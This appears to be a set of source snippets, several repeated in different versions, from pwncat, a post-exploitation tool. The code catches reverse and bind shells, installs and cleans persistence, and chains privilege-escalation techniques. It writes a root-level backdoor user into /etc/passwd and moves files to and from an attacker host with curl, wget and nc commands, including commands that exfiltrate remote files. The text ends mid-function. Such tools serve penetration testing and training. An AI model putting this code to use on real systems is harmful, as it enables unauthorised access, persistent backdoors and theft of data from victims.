def enter_command(self): """ Enter commmand mode. This sets normal mode and uses prompt toolkit process commands from the user for the local machine """ # Go back to normal mode self.restore() self.state = State.COMMAND # Hopefully this fixes weird cursor position issues sys.stdout.write("\n") # Process commands while self.state is State.COMMAND: try: line = prompt("localhost$ ") except EOFError: # The user pressed ctrl-d, go back self.enter_raw() continue argv = shlex.split(line) # Empty command if len(argv) == 0: continue try: method = getattr(self, f"do_{argv[0]}") except AttributeError: util.warn(f"{argv[0]}: command does not exist") continue # Call the method method(argv[1:])
def run(self, args): if args.action == "revert": if args.all: removed_tampers = [] util.progress(f"reverting tamper") for tamper in pwncat.victim.tamper: try: util.progress(f"reverting tamper: {tamper}") tamper.revert() removed_tampers.append(tamper) except RevertFailed as exc: util.warn(f"{tamper}: revert failed: {exc}") for tamper in removed_tampers: pwncat.victim.tamper.remove(tamper) util.success("tampers reverted!") pwncat.victim.session.commit() else: if args.tamper not in range(len(pwncat.victim.tamper)): self.parser.error("invalid tamper id") tamper = pwncat.victim.tamper[args.tamper] try: tamper.revert() pwncat.victim.tamper.remove(tamper) except RevertFailed as exc: util.error(f"revert failed: {exc}") pwncat.victim.session.commit() else: for id, tamper in enumerate(pwncat.victim.tamper): print(f" {id} - {tamper}")
def run(self, args): if args.action == "status": ninstalled = 0 for user, method in pwncat.victim.persist.installed: print(f" - {method.format(user)} installed") ninstalled += 1 if not ninstalled: util.warn( "no persistence methods observed as " f"{Fore.GREEN}{pwncat.victim.whoami()}{Fore.RED}" ) return elif args.action == "list": if args.method: try: method = next(pwncat.victim.persist.find(args.method)) print(f"\033[4m{method.format()}{Style.RESET_ALL}") print(textwrap.indent(textwrap.dedent(method.__doc__), " ")) except StopIteration: util.error(f"{args.method}: no such persistence method") else: for method in pwncat.victim.persist: print(f" - {method.format()}") return elif args.action == "clean": util.progress("cleaning persistence methods: ") for user, method in pwncat.victim.persist.installed: try: util.progress( f"cleaning persistance methods: {method.format(user)}" ) pwncat.victim.persist.remove(method.name, user) util.success(f"removed {method.format(user)}") except PersistenceError as exc: util.erase_progress() util.warn( f"{method.format(user)}: removal failed: {exc}\n", overlay=True ) util.erase_progress() return elif args.method is None: self.parser.error("no method specified") return # Grab the user we want to install the persistence as if args.user: user = args.user else: # Default is to install as current user user = pwncat.victim.whoami() try: if args.action == "install": pwncat.victim.persist.install(args.method, user) elif args.action == "remove": pwncat.victim.persist.remove(args.method, user) except PersistenceError as exc: util.error(f"{exc}")
def main(): # Default log-level is "INFO" logging.getLogger().setLevel(logging.INFO) # Build the victim object pwncat.victim = Victim() # Arguments to `pwncat` are considered arguments to `connect` # We use the `prog_name` argument to make the help for "connect" # display "pwncat" in the usage. This is just a visual fix, and # isn't used anywhere else. pwncat.victim.command_parser.dispatch_line( shlex.join(["connect"] + sys.argv[1:]), prog_name="pwncat" ) # Only continue if we successfully connected if not pwncat.victim.connected: exit(0) # Setup the selector to wait for data asynchronously from both streams selector = selectors.DefaultSelector() selector.register(sys.stdin, selectors.EVENT_READ, None) selector.register(pwncat.victim.client, selectors.EVENT_READ, "read") # Initialize our state done = False try: # This loop is only used to funnel data between the local # and remote hosts when in raw mode. During the `pwncat` # prompt, the main loop is handled by the CommandParser # class `run` method. while not done: for k, _ in selector.select(): if k.fileobj is sys.stdin: data = sys.stdin.buffer.read(8) pwncat.victim.process_input(data) else: data = pwncat.victim.recv() if data is None or len(data) == 0: done = True break sys.stdout.buffer.write(data) sys.stdout.flush() except ConnectionResetError: pwncat.victim.restore_local_term() util.warn("connection reset by remote host") except SystemExit: util.success("closing down connection.") finally: # Restore the shell pwncat.victim.restore_local_term() try: # Make sure everything was committed pwncat.victim.session.commit() except InvalidRequestError: pass util.success("local terminal restored")
def run(self, args): if args.password: if args.variable is None: found = False for name, user in pwncat.victim.users.items(): if user.password is not None: print( f" - {Fore.GREEN}{user}{Fore.RESET} -> {Fore.RED}{repr(user.password)}{Fore.RESET}" ) found = True if not found: util.warn("no known user passwords") else: if args.variable not in pwncat.victim.users: self.parser.error(f"{args.variable}: no such user") print( f" - {Fore.GREEN}{args.variable}{Fore.RESET} -> {Fore.RED}{repr(args.value)}{Fore.RESET}" ) pwncat.victim.users[args.variable].password = args.value else: if (args.variable is not None and args.variable == "state" and args.value is not None): try: pwncat.victim.state = util.State._member_map_[ args.value.upper()] except KeyError: util.error(f"{args.value}: invalid state") elif args.variable is not None and args.value is not None: try: pwncat.victim.config[args.variable] = args.value if args.variable == "db": # We handle this specially to ensure the database is available # as soon as this config is set pwncat.victim.engine = create_engine( pwncat.victim.config["db"], echo=False) pwncat.db.Base.metadata.create_all( pwncat.victim.engine) # Create the session_maker and default session if pwncat.victim.session is None: pwncat.victim.session_maker = sessionmaker( bind=pwncat.victim.engine) pwncat.victim.session = pwncat.victim.session_maker( ) except ValueError as exc: util.error(str(exc)) elif args.variable is not None: value = pwncat.victim.config[args.variable] print(f" {Fore.CYAN}{args.variable}{Fore.RESET} = " f"{Fore.YELLOW}{repr(value)}{Fore.RESET}") else: for name in pwncat.victim.config: value = pwncat.victim.config[name] print(f" {Fore.CYAN}{name}{Fore.RESET} = " f"{Fore.YELLOW}{repr(value)}{Fore.RESET}")
def enter_command(self): """ Enter commmand mode. This sets normal mode and uses prompt toolkit process commands from the user for the local machine """ # Go back to normal mode self.restore() self.state = State.COMMAND # Hopefully this fixes weird cursor position issues sys.stdout.write("\n") # Process commands while self.state is State.COMMAND: try: try: line = self.prompt.prompt() except (EOFError, OSError): # The user pressed ctrl-d, go back self.enter_raw() continue if len(line) > 0: if line[0] == "!": # Allow running shell commands subprocess.run(line[1:], shell=True) continue elif line[0] == "@": result = self.run(line[1:]) sys.stdout.buffer.write(result) continue elif line[0] == "-": self.run(line[1:], wait=False) continue try: argv = shlex.split(line) except ValueError as e: util.error(e.args[0]) continue # Empty command if len(argv) == 0: continue try: method = getattr(self, f"do_{argv[0]}") except AttributeError: util.warn(f"{argv[0]}: command does not exist") continue # Call the method method(argv[1:]) except KeyboardInterrupt as exc: traceback.print_exc() continue
def run(self, args): if args.password: if args.variable is None: found = False for user, props in pwncat.victim.users.items(): if "password" in props and props["password"] is not None: print( f" - {Fore.GREEN}{user}{Fore.RESET} -> {Fore.RED}{repr(props['password'])}{Fore.RESET}" ) found = True if not found: util.warn("no known user passwords") else: if args.variable not in pwncat.victim.users: self.parser.error(f"{args.variable}: no such user") print( f" - {Fore.GREEN}{args.variable}{Fore.RESET} -> {Fore.RED}{repr(args.value)}{Fore.RESET}" ) pwncat.victim.users[args.variable]["password"] = args.value else: if ( args.variable is not None and args.variable == "state" and args.value is not None ): try: pwncat.victim.state = util.State._member_map_[args.value.upper()] except KeyError: util.error(f"{args.value}: invalid state") elif args.variable is not None and args.value is not None: try: pwncat.victim.config[args.variable] = args.value except ValueError as exc: util.error(str(exc)) elif args.variable is not None: value = pwncat.victim.config[args.variable] print( f" {Fore.CYAN}{args.variable}{Fore.RESET} = " f"{Fore.YELLOW}{repr(value)}{Fore.RESET}" ) else: for name in pwncat.victim.config: value = pwncat.victim.config[name] print( f" {Fore.CYAN}{name}{Fore.RESET} = " f"{Fore.YELLOW}{repr(value)}{Fore.RESET}" )
def run(self, args): # Get the terminal type TERM = os.environ.get("TERM", None) if TERM is None: util.warn("no local TERM set. falling back to 'xterm'") TERM = "xterm" # Get the width and height columns, rows = os.get_terminal_size(0) # Update the state pwncat.victim.run(f"stty rows {rows};" f"stty columns {columns};" f"export TERM='{TERM}'") util.success("terminal state synchronized")
def bootstrap_busybox(self, url, method): """ Utilize the architecture we grabbed from `uname -m` to grab a precompiled busybox binary and upload it to the remote machine. This makes uploading/downloading and dependency tracking easier. It also makes file upload/download safer, since we have a known good set of commands we can run (rather than relying on GTFObins) """ if self.has_busybox: util.success("busybox is already available!") return busybox_remote_path = self.which("busybox") if busybox_remote_path is None: # We use the stable busybox version at the time of writing. This should # probably be configurable. busybox_url = url.rstrip("/") + "/busybox-{arch}" # Attempt to download the busybox binary r = requests.get(busybox_url.format(arch=self.arch), stream=True) # No busybox support if r.status_code == 404: util.warn(f"no busybox for architecture: {self.arch}") return with ProgressBar(f"downloading busybox for {self.arch}") as pb: counter = pb(int(r.headers["Content-Length"])) with tempfile.NamedTemporaryFile("wb", delete=False) as filp: last_update = time.time() busybox_local_path = filp.name for chunk in r.iter_content(chunk_size=1024 * 1024): filp.write(chunk) counter.items_completed += len(chunk) if (time.time() - last_update) > 0.1: pb.invalidate() counter.stopped = True pb.invalidate() time.sleep(0.1) # Stage a temporary file for busybox busybox_remote_path = ( self.run("mktemp -t busyboxXXXXX").decode("utf-8").strip()) # Upload busybox using the best known method to the remote server self.do_upload( ["-m", method, "-o", busybox_remote_path, busybox_local_path]) # Make busybox executable self.run(f"chmod +x {shlex.quote(busybox_remote_path)}") # Remove local busybox copy os.unlink(busybox_local_path) util.success( f"uploaded busybox to {Fore.GREEN}{busybox_remote_path}{Fore.RESET}" ) else: # Busybox was provided on the system! util.success(f"busybox already installed on remote system!") # Check what this busybox provides util.progress("enumerating provided applets") pipe = self.subprocess(f"{shlex.quote(busybox_remote_path)} --list") provides = pipe.read().decode("utf-8").strip().split("\n") pipe.close() # prune any entries which the system marks as SETUID or SETGID stat = self.which("stat", quote=True) if stat is not None: util.progress("enumerating remote binary permissions") which_provides = [f"`which {p}`" for p in provides] permissions = (self.run(f"{stat} -c %A {' '.join(which_provides)}" ).decode("utf-8").strip().split("\n")) new_provides = [] for name, perms in zip(provides, permissions): if "No such" in perms: # The remote system doesn't have this binary continue if "s" not in perms.lower(): util.progress( f"keeping {Fore.BLUE}{name}{Fore.RESET} in busybox") new_provides.append(name) else: util.progress( f"pruning {Fore.RED}{name}{Fore.RESET} from busybox") util.success( f"pruned {len(provides)-len(new_provides)} setuid entries") provides = new_provides # Let the class know we now have access to busybox self.busybox_provides = provides self.has_busybox = True self.busybox_path = busybox_remote_path
def do_upload(self, argv): """ Upload a file to the remote host """ downloaders = { "curl": ("http", "curl --output {outfile} http://{lhost}:{lport}/{lfile}"), "wget": ("http", "wget -O {outfile} http://{lhost}:{lport}/{lfile}"), "nc": ("raw", "nc {lhost} {lport} > {outfile}"), } servers = {"http": util.serve_http_file, "raw": util.serve_raw_file} parser = argparse.ArgumentParser(prog="upload") parser.add_argument( "--method", "-m", choices=downloaders.keys(), default=None, help="set the download method (default: auto)", ) parser.add_argument( "--output", "-o", default="./{basename}", help="path to the output file (default: basename of input)", ) parser.add_argument("path", help="path to the file to upload") try: args = parser.parse_args(argv) except SystemExit: # The arguments were parsed incorrectly, return. return if self.vars.get("lhost", None) is None: util.error("[!] you must provide an lhost address for reverse connections!") return if not os.path.isfile(args.path): util.error(f"[!] {args.path}: no such file or directory") return if args.method is not None and args.method not in self.known_binaries: util.error(f"{args.method}: method unavailable") elif args.method is not None: method = downloaders[args.method] else: method = None for m, info in downloaders.items(): if m in self.known_binaries: util.info("uploading via {m}") method = info break else: util.warn( "no available upload methods. falling back to echo/base64 method" ) path = args.path basename = os.path.basename(args.path) name = basename outfile = args.output.format(basename=basename) with ProgressBar("uploading") as pb: counter = pb(range(os.path.getsize(path))) last_update = time.time() def on_progress(copied, blocksz): """ Update the progress bar """ counter.items_completed += blocksz if counter.items_completed >= counter.total: counter.done = True counter.stopped = True if (time.time() - last_update) > 0.1: pb.invalidate() if method is not None: server = servers[method[0]](path, name, progress=on_progress) command = method[1].format( outfile=shlex.quote(outfile), lhost=self.vars["lhost"], lfile=name, lport=server.server_address[1], ) result = self.run(command, wait=False) else: server = None with open(path, "rb") as fp: self.run(f"echo -n > {outfile}") copied = 0 for chunk in iter(lambda: fp.read(8192), b""): encoded = base64.b64encode(chunk).decode("utf-8") self.run(f"echo -n {encoded} | base64 -d >> {outfile}") copied += len(chunk) on_progress(copied, len(chunk)) try: while not counter.done: time.sleep(0.1) except KeyboardInterrupt: pass finally: if server is not None: server.shutdown() # https://github.com/prompt-toolkit/python-prompt-toolkit/issues/964 time.sleep(0.1)
def do_download(self, argv): uploaders = { "XXXXX": ( "http", "curl -X POST --data @{remote_file} http://{lhost}:{lport}/{lfile}", ), "XXXX": ( "http", "wget --post-file {remote_file} http://{lhost}:{lport}/{lfile}", ), "nxc": ("raw", "nc {lhost} {lport} < {remote_file}"), } servers = {"http": util.receive_http_file, "raw": util.receive_raw_file} parser = argparse.ArgumentParser(prog="upload") parser.add_argument( "--method", "-m", choices=uploaders.keys(), default=None, help="set the upload method (default: auto)", ) parser.add_argument( "--output", "-o", default="./{basename}", help="path to the output file (default: basename of input)", ) parser.add_argument("path", help="path to the file to download") try: args = parser.parse_args(argv) except SystemExit: # The arguments were parsed incorrectly, return. return if self.vars.get("lhost", None) is None: util.error("[!] you must provide an lhost address for reverse connections!") return if args.method is not None and args.method not in self.known_binaries: util.error(f"{args.method}: method unavailable") elif args.method is not None: method = uploaders[args.method] else: method = None for m, info in uploaders.items(): if m in self.known_binaries: util.info(f"downloading via {m}") method = info break else: util.warn( "no available upload methods. falling back to dd/base64 method" ) path = args.path basename = os.path.basename(args.path) name = basename outfile = args.output.format(basename=basename) # Get the remote file size size = self.run(f'stat -c "%s" {shlex.quote(path)} 2>/dev/null || echo "none"') if b"none" in size: util.error(f"{path}: no such file or directory") return size = int(size) with ProgressBar("downloading") as pb: counter = pb(range(os.path.getsize(path))) last_update = time.time() def on_progress(copied, blocksz): """ Update the progress bar """ counter.items_completed += blocksz if counter.items_completed >= counter.total: counter.done = True counter.stopped = True if (time.time() - last_update) > 0.1: pb.invalidate() if method is not None: server = servers[method[0]](outfile, name, progress=on_progress) command = method[1].format( remote_file=shlex.quote(path), lhost=self.vars["lhost"], lfile=name, lport=server.server_address[1], ) print(command) result = self.run(command, wait=False) else: server = None with open(outfile, "wb") as fp: copied = 0 for chunk_nr in range(0, size, 8192): encoded = self.run( f"dd if={shlex.quote(path)} bs=8192 count=1 skip={chunk_nr} 2>/dev/null | base64" ) chunk = base64.b64decode(encoded) fp.write(chunk) copied += len(chunk) on_progress(copied, len(chunk)) try: while not counter.done: time.sleep(0.1) except KeyboardInterrupt: pass finally: if server is not None: server.shutdown() # https://github.com/prompt-toolkit/python-prompt-toolkit/issues/964 time.sleep(0.1)
def main(): # Default log-level is "INFO" logging.getLogger().setLevel(logging.INFO) # Ensure our GTFObins data is loaded gtfobins.Binary.load("data/gtfobins.json") parser = argparse.ArgumentParser(prog="pwncat") mutex_group = parser.add_mutually_exclusive_group(required=True) mutex_group.add_argument( "--reverse", "-r", action="store_const", dest="type", const="reverse", help="Listen on the specified port for connections from a remote host", ) mutex_group.add_argument( "--bind", "-b", action="store_const", dest="type", const="bind", help="Connect to a remote host", ) parser.add_argument( "--host", "-H", type=str, help=( "Bind address for reverse connections. Remote host for bind connections (default: 0.0.0.0)" ), default="0.0.0.0", ) parser.add_argument( "--port", "-p", type=int, help="Bind port for reverse connections. Remote port for bind connections", required=True, ) parser.add_argument( "--method", "-m", choices=[*PtyHandler.OPEN_METHODS.keys()], help="Method to create a pty on the remote host (default: script)", default="script", ) args = parser.parse_args() if args.type == "reverse": # Listen on a socket for connections util.info(f"binding to {args.host}:{args.port}", overlay=True) server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind((args.host, args.port)) # After the first connection, drop further attempts server.listen(1) # Wait for a single connection try: (client, address) = server.accept() except KeyboardInterrupt: util.warn(f"aborting listener...") sys.exit(0) elif args.type == "bind": util.info(f"connecting to {args.host}:{args.port}", overlay=True) client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((args.host, args.port)) address = (args.host, args.port) util.info(f"connection to {address[0]}:{address[1]} established", overlay=True) # Create a PTY handler to proctor communications with the remote PTY handler = PtyHandler(client) # Setup the selector to wait for data asynchronously from both streams selector = selectors.DefaultSelector() selector.register(sys.stdin, selectors.EVENT_READ, None) selector.register(client, selectors.EVENT_READ, "read") # Initialize our state done = False try: while not done: for k, _ in selector.select(): if k.fileobj is sys.stdin: data = sys.stdin.buffer.read(8) handler.process_input(data) else: data = handler.recv() if data is None or len(data) == 0: done = True break sys.stdout.buffer.write(data) sys.stdout.flush() except ConnectionResetError: handler.restore() util.warn("connection reset by remote host") finally: # Restore the shell handler.restore()
def run(self, args): if pwncat.victim.client is not None: util.error( "connect can only be called prior to an active connection!") return if args.config: try: # Load the configuration with open(args.config, "r") as filp: pwncat.victim.command_parser.eval(filp.read(), args.config) except OSError as exc: self.parser.error(str(exc)) if args.action == "none": # No action was provided, and no connection was made in the config if pwncat.victim.client is None: self.parser.print_help() return if args.action == "listen": if not args.host: args.host = "0.0.0.0" util.progress(f"binding to {args.host}:{args.port}") # Create the socket server server = socket.create_server((args.host, args.port), reuse_port=True) try: # Wait for a connection (client, address) = server.accept() except KeyboardInterrupt: util.warn(f"aborting listener...") return util.success(f"received connection from {address[0]}:{address[1]}") pwncat.victim.connect(client) elif args.action == "connect": if not args.host: self.parser.error( "host address is required for outbound connections") util.progress(f"connecting to {args.host}:{args.port}") # Connect to the remote host client = socket.create_connection((args.host, args.port)) util.success(f"connection to {args.host}:{args.port} established") pwncat.victim.connect(client) elif args.action == "ssh": if not args.port: args.port = 22 if not args.user: self.parser.error("you must specify a user") if not (args.password or args.identity): self.parser.error( "either a password or identity file is required") try: # Connect to the remote host's ssh server sock = socket.create_connection((args.host, args.port)) except Exception as exc: util.error(str(exc)) return # Create a paramiko SSH transport layer around the socket t = paramiko.Transport(sock) try: t.start_client() except paramiko.SSHException: sock.close() util.error("ssh negotiation failed") return if args.identity: try: # Load the private key for the user key = paramiko.RSAKey.from_private_key_file(args.identity) except: password = prompt("RSA Private Key Passphrase: ", is_password=True) key = paramiko.RSAKey.from_private_key_file( args.identity, password) # Attempt authentication try: t.auth_publickey(args.user, key) except paramiko.ssh_exception.AuthenticationException as exc: util.error(f"authentication failed: {exc}") else: try: t.auth_password(args.user, args.password) except paramiko.ssh_exception.AuthenticationException as exc: util.error(f"authentication failed: {exc}") if not t.is_authenticated(): t.close() sock.close() return # Open an interactive session chan = t.open_session() chan.get_pty() chan.invoke_shell() # Initialize the session! pwncat.victim.connect(chan) elif args.action == "reconnect": if not args.host: self.parser.error( "host address or hash is required for reconnection") try: addr = ipaddress.ip_address(args.host) util.progress(f"enumerating persistence methods for {addr}") host = (pwncat.victim.session.query( pwncat.db.Host).filter_by(ip=str(addr)).first()) if host is None: util.error(f"{args.host}: not found in database") return host_hash = host.hash except ValueError: host_hash = args.host # Reconnect to the given host try: pwncat.victim.reconnect(host_hash, args.method, args.user) except PersistenceError as exc: util.error(f"{args.host}: connection failed") return elif args.action == "list": if pwncat.victim.session is not None: for host in pwncat.victim.session.query(pwncat.db.Host): if len(host.persistence) == 0: continue print( f"{Fore.MAGENTA}{host.ip}{Fore.RESET} - {Fore.RED}{host.distro}{Fore.RESET} - {Fore.YELLOW}{host.hash}{Fore.RESET}" ) for p in host.persistence: print( f" - {Fore.BLUE}{p.method}{Fore.RESET} as {Fore.GREEN}{p.user if p.user else 'system'}{Fore.RESET}" ) else: util.error(f"{args.action}: invalid action")
def run(self, args): if args.action == "list": techniques = pwncat.victim.privesc.search(args.user) if len(techniques) == 0: util.warn("no techniques found") else: for tech in techniques: util.info(f" - {tech}") elif args.action == "read": if not args.path: self.parser.error("missing required argument: --path") try: read_pipe, chain = pwncat.victim.privesc.read_file( args.path, args.user, args.max_depth) util.success("file successfully opened!") # Read the data from the pipe shutil.copyfileobj(read_pipe, sys.stdout.buffer) read_pipe.close() # Unwrap in case we had to privesc to get here pwncat.victim.privesc.unwrap(chain) except privesc.PrivescError as exc: util.error(f"read file failed: {exc}") elif args.action == "write": # Make sure the correct arguments are present if not args.path: self.parser.error("missing required argument: --path") if not args.data: self.parser.error("missing required argument: --data") # Read in the data file try: with open(args.data, "rb") as f: data = f.read() except PermissionError: self.parser.error(f"no local permission to read: {args.data}") try: # Attempt to write the data to the remote file chain = pwncat.victim.privesc.write_file( args.path, data, target_user=args.user, depth=args.max_depth, ) pwncat.victim.privesc.unwrap(chain) util.success("file written successfully!") except privesc.PrivescError as exc: util.error(f"file write failed: {exc}") elif args.action == "escalate": try: chain = pwncat.victim.privesc.escalate(args.user, args.max_depth) ident = pwncat.victim.id if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0: util.progress( "mismatched euid and uid; attempting backdoor installation." ) for method in pwncat.victim.persist.available: if not method.system or not method.local: continue try: # Attempt to install this persistence method pwncat.victim.persist.install(method.name) if not method.escalate(): # The escalation didn't work, remove it and try the next pwncat.victim.persist.remove(method.name) continue chain.append(( f"{method.format()} ({Fore.CYAN}euid{Fore.RESET} correction)", "exit", )) break except PersistenceError: continue util.success("privilege escalation succeeded using:") for i, (technique, _) in enumerate(chain): arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} " print(f"{(i+1)*' '}{arrow}{technique}") pwncat.victim.reset() pwncat.victim.state = State.RAW except privesc.PrivescError as exc: util.error(f"escalation failed: {exc}")
def main(): # Default log-level is "INFO" logging.getLogger().setLevel(logging.INFO) parser = argparse.ArgumentParser(prog="pwncat") mutex_group = parser.add_mutually_exclusive_group(required=True) mutex_group.add_argument( "--reverse", "-r", action="store_const", dest="type", const="reverse", help="Listen on the specified port for connections from a remote host", ) mutex_group.add_argument( "--bind", "-b", action="store_const", dest="type", const="bind", help="Connect to a remote host", ) parser.add_argument( "--host", "-H", type=str, help= ("Bind address for reverse connections. Remote host for bind connections (default: 0.0.0.0)" ), default="0.0.0.0", ) parser.add_argument( "--port", "-p", type=int, help= "Bind port for reverse connections. Remote port for bind connections", required=True, ) parser.add_argument( "--method", "-m", choices=[*Victim.OPEN_METHODS.keys()], help="Method to create a pty on the remote host (default: script)", default="script", ) parser.add_argument("--config", "-c", help="Configuration script", default=None) args = parser.parse_args() # Build the victim object pwncat.victim = Victim(args.config) # Run the configuration script if args.config: with open(args.config, "r") as filp: config_script = filp.read() pwncat.victim.command_parser.eval(config_script, args.config) if args.type == "reverse": # Listen on a socket for connections util.info(f"binding to {args.host}:{args.port}", overlay=True) server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind((args.host, args.port)) # After the first connection, drop further attempts server.listen(1) # Wait for a single connection try: (client, address) = server.accept() except KeyboardInterrupt: util.warn(f"aborting listener...") sys.exit(0) elif args.type == "bind": util.info(f"connecting to {args.host}:{args.port}", overlay=True) # client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # client.connect((args.host, args.port)) client = socket.create_connection((args.host, args.port)) address = (args.host, args.port) else: parser.error("must specify a valid connection type!") sys.exit(1) util.info(f"connection to {address[0]}:{address[1]} established", overlay=True) # Connect and initialize the remote victim pwncat.victim.connect(client) # Setup the selector to wait for data asynchronously from both streams selector = selectors.DefaultSelector() selector.register(sys.stdin, selectors.EVENT_READ, None) selector.register(client, selectors.EVENT_READ, "read") # Initialize our state done = False try: while not done: for k, _ in selector.select(): if k.fileobj is sys.stdin: data = sys.stdin.buffer.read(8) pwncat.victim.process_input(data) else: data = pwncat.victim.recv() if data is None or len(data) == 0: done = True break sys.stdout.buffer.write(data) sys.stdout.flush() except ConnectionResetError: pwncat.victim.restore_local_term() util.warn("connection reset by remote host") finally: # Restore the shell pwncat.victim.restore_local_term() try: # Make sure everything was committed pwncat.victim.session.commit() except InvalidRequestError: pass util.success("local terminal restored")
def do_privesc(self, argv): """ Attempt privilege escalation """ parser = argparse.ArgumentParser(prog="privesc") parser.add_argument( "--list", "-l", action="store_true", help="do not perform escalation. list potential escalation methods", ) parser.add_argument( "--all", "-a", action="store_const", dest="user", const=None, help= "when listing methods, list for all users. when escalating, escalate to root.", ) parser.add_argument( "--user", "-u", choices=[user for user in self.users], default="root", help="the target user", ) parser.add_argument( "--max-depth", "-m", type=int, default=None, help="Maximum depth for the privesc search (default: no maximum)", ) parser.add_argument( "--read", "-r", type=str, default=None, help="remote filename to try and read", ) parser.add_argument( "--write", "-w", type=str, default=None, help="attempt to write to a remote file as the specified user", ) parser.add_argument( "--data", "-d", type=str, default=None, help="the data to write a file. ignored if not write mode", ) parser.add_argument( "--text", "-t", action="store_true", default=False, help="whether to use safe readers/writers", ) try: args = parser.parse_args(argv) except SystemExit: # The arguments were parsed incorrectly, return. return if args.list: techniques = self.privesc.search(args.user) if len(techniques) == 0: util.warn("no techniques found") else: for tech in techniques: util.info(f" - {tech}") elif args.read: try: read_pipe, chain = self.privesc.read_file( args.read, args.user, args.max_depth) # Read the data from the pipe sys.stdout.buffer.write(read_pipe.read(4096)) read_pipe.close() # Unwrap in case we had to privesc to get here self.privesc.unwrap(chain) except privesc.PrivescError as exc: util.error(f"read file failed: {exc}") elif args.write: if args.data is None: util.error("no data specified") else: if args.data.startswith("@"): with open(args.data[1:], "rb") as f: data = f.read() else: data = args.data.encode("utf-8") try: chain = self.privesc.write_file( args.write, data, safe=not args.text, target_user=args.user, depth=args.max_depth, ) self.privesc.unwrap(chain) util.success("file written successfully!") except privesc.PrivescError as exc: util.error(f"file write failed: {exc}") else: try: chain = self.privesc.escalate(args.user, args.max_depth) ident = self.id backdoor = False if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0: util.progress( "EUID != UID. installing backdoor to complete privesc") try: self.privesc.add_backdoor() backdoor = True except privesc.PrivescError as exc: util.warn(f"backdoor installation failed: {exc}") util.success("privilege escalation succeeded using:") for i, (technique, _) in enumerate(chain): arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} " print(f"{(i+1)*' '}{arrow}{technique}") if backdoor: print((f"{(len(chain)+1)*' '}{arrow}" f"{Fore.YELLOW}pwncat{Fore.RESET} backdoor")) self.reset() self.do_back([]) except privesc.PrivescError as exc: util.error(f"escalation failed: {exc}")
def escalate_single(self, techniques: List["Technique"], shlvl: str) -> Tuple[Optional["Technique"], str]: """ Use the given list of techniques to escalate to the user. All techniques should be for the same user. This method will attempt a variety of privesc methods. Primarily, it will directly execute any techniques which provide the SHELL capability first. Afterwards, it will try to backdoor /etc/passwd if the target user is root. Lastly, it will try to escalate using a local SSH server combined with READ/WRITE capabilities to gain a local shell. This is, by far, the most disgusting function in all of `pwncat`. I'd like to clean it up, but I'm not sure how to break this up. It's all one continuous line of logic. It's meant to implement all possible privilege escalation methods for one user given a list of techniques for that user. The largest chunk of this is the SSH part, which needs to check that SSH exists, then try various methods to either leak or write private keys for the given user. """ readers: List[Technique] = [] writers: List[Technique] = [] for technique in techniques: if Capability.SHELL in technique.capabilities: try: util.progress(f"attempting {technique}") # Attempt our basic, known technique exit_script = technique.method.execute(technique) pwncat.victim.flush_output(some=True) # Reset the terminal to ensure we are stable time.sleep( 0.1) # This seems inevitable for some privescs... pwncat.victim.reset(hard=False) # Check that we actually succeeded current = pwncat.victim.update_user() if current == technique.user or ( technique.user == pwncat.victim.config["backdoor_user"] and current == "root"): util.progress(f"{technique} succeeded!") pwncat.victim.flush_output() return technique, exit_script # Check if we ended up in a sub-shell without escalating if pwncat.victim.getenv("SHLVL") != shlvl: # Get out of this subshell. We don't need it # pwncat.victim.process(exit_script, delim=False) pwncat.victim.run(exit_script, wait=False) time.sleep( 0.1) # Still inevitable for some privescs... pwncat.victim.recvuntil("\n") # Clean up whatever mess was left over pwncat.victim.flush_output() pwncat.victim.reset(hard=False) shlvl = pwncat.victim.getenv("SHLVL") # The privesc didn't work, but didn't throw an exception. # Continue on as if it hadn't worked. except PrivescError: pass except ValueError: raise PrivescError if Capability.READ in technique.capabilities: readers.append(technique) if Capability.WRITE in technique.capabilities: writers.append(technique) if writers and writers[0].user == "root": # We need su to privesc w/ file write su_command = pwncat.victim.which("su", quote=True) if su_command is not None: # Grab the first writer writer = writers[0] # Read /etc/passwd with pwncat.victim.open("/etc/passwd", "r") as filp: lines = filp.readlines() # Add a new user password = crypt.crypt(pwncat.victim.config["backdoor_pass"]) user = pwncat.victim.config["backdoor_user"] lines.append( f"{user}:{password}:0:0::/root:{pwncat.victim.shell}\n") # Join the data back and encode it data = ("".join(lines)).encode("utf-8") # Write the data writer.method.write_file("/etc/passwd", data, writer) # Maybe help? pwncat.victim.run("echo") # Check that it succeeded users = pwncat.victim.reload_users() # Check if the new passwd file contained the file if user in users: # Log our tamper of this file pwncat.victim.tamper.modified_file("/etc/passwd", added_lines=lines[-1:]) pwncat.victim.users[user].password = pwncat.victim.config[ "backdoor_pass"] self.backdoor_user = pwncat.victim.users[user] # Switch to the new user # pwncat.victim.process(f"su {user}", delim=False) pwncat.victim.process(f"su {user}", delim=True) pwncat.victim.recvuntil(": ") pwncat.victim.client.send( pwncat.victim.config["backdoor_pass"].encode("utf-8") + b"\n") pwncat.victim.flush_output() return writer, "exit" sshd_running = False for fact in pwncat.victim.enumerate.iter("system.service"): util.progress("enumerating services: {fact.data}") if "sshd" in fact.data.name and fact.data.state == "running": sshd_running = True if sshd_running: sshd_listening = True sshd_address = "127.0.0.1" else: sshd_listening = False sshd_address = None used_technique = None if sshd_running and sshd_listening: # We have an SSHD and we have a file read and a file write # technique. We can attempt to leverage this to use SSH to ourselves # and gain access as this user. util.progress(f"found {Fore.RED}sshd{Fore.RESET} listening at " f"{Fore.CYAN}{sshd_address}:22{Fore.RESET}") authkeys_path = ".ssh/authorized_keys" try: with pwncat.victim.open("/etc/ssh/sshd_config", "r") as filp: for line in filp: if line.startswith("AuthorizedKeysFile"): authkeys_path = line.strip().split()[-1] except PermissionError: # We couldn't read the file. Assume they are located in the default home directory location authkeys_path = ".ssh/authorized_keys" # AuthorizedKeysFile is normally relative to the home directory if not authkeys_path.startswith("/"): # Grab the user information from /etc/passwd home = pwncat.victim.users[techniques[0].user].homedir if home == "" or home is None: raise PrivescError( "no user 